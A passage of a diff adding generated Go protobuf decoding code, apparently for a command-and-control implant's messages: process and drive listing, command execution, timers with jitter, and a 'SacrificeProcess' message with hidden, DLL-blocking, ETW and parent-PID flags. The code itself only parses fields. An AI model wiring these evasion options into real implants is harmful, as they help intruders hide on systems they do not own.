protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Arch = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Path = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 7: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Args", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Args = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Uid", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Uid = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Timer) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Timer: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Timer: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Expression", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Expression = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 1 { + return fmt.Errorf("proto: wrong wireType = %d for field Jitter", wireType) + } + var v uint64 + var _v64 uint64 + _v64, iNdEx, err = protobuf_go_lite.DecodeFixed64(dAtA, iNdEx) + if err != nil { + return err + } + v = uint64(_v64) + m.Jitter = float64(math.Float64frombits(v)) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *FileInfo) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: FileInfo: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: FileInfo: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field IsDir", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.IsDir = bool(v != 0) + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Size", wireType) + } + m.Size = 0 + m.Size, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field ModTime", wireType) + } + m.ModTime = 0 + m.ModTime, iNdEx, err = protobuf_go_lite.DecodeVarintInt64(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Mode", wireType) + } + m.Mode = 0 + m.Mode, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Link", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Link = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *SacrificeProcess) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: SacrificeProcess: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: SacrificeProcess: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Hidden", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Hidden = bool(v != 0) + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field BlockDll", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.BlockDll = bool(v != 0) + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Etw", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Etw = bool(v != 0) + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Ppid", wireType) + } + m.Ppid = 0 + m.Ppid, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Argue", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Argue = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *LsResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: LsResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: LsResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Path = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Exists", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Exists = bool(v != 0) + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Files", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Files = append(m.Files, &FileInfo{}) + if err := m.Files[len(m.Files)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *DriveInfo) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: DriveInfo: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: DriveInfo: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Path = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field DriveType", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.DriveType = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field TotalSize", wireType) + } + m.TotalSize = 0 + m.TotalSize, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field FreeSize", wireType) + } + m.FreeSize = 0 + m.FreeSize, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field FileSystem", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.FileSystem = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *EnumDriversResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: EnumDriversResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: EnumDriversResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Drives", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Drives = append(m.Drives, &DriveInfo{}) + if err := m.Drives[len(m.Drives)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *PsResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: PsResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: PsResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Processes", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Processes = append(m.Processes, &Process{}) + if err := m.Processes[len(m.Processes)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ExecRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ExecRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ExecRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Path = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Args", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Args = append(m.Args, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Output", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Output = bool(v != 0) + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Singleton", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Singleton = bool(v != 0) + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Realtime", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Realtime = bool(v != 0) + case 10: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Ppid", wireType) + } + m.Ppid = 0 + m.Ppid, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ExecResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ExecResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ExecResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field StatusCode", wireType) + } + m.StatusCode = 0 + m.StatusCode, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Stdout", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Stdout = append(m.Stdout[:0], dAtA[iNdEx:postIndex]...) + if m.Stdout == nil { + m.Stdout = []byte{} + } + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Stderr", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Stderr = append(m.Stderr[:0], dAtA[iNdEx:postIndex]...) + if m.Stderr == nil { + m.Stderr = []byte{} + } + iNdEx = postIndex + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) + } + m.Pid = 0 + m.Pid, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field End", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.End = bool(v != 0) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *BinaryResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: BinaryResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: BinaryResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Data", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Data = append(m.Data[:0], dAtA[iNdEx:postIndex]...) + if m.Data == nil { + m.Data = []byte{} + } + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Message", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Message = append(m.Message[:0], dAtA[iNdEx:postIndex]...) + if m.Message == nil { + m.Message = []byte{} + } + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Status", wireType) + } + m.Status = 0 + m.Status, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Err", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Err = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Modules) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Modules: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Modules: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Modules", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Modules = append(m.Modules, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return 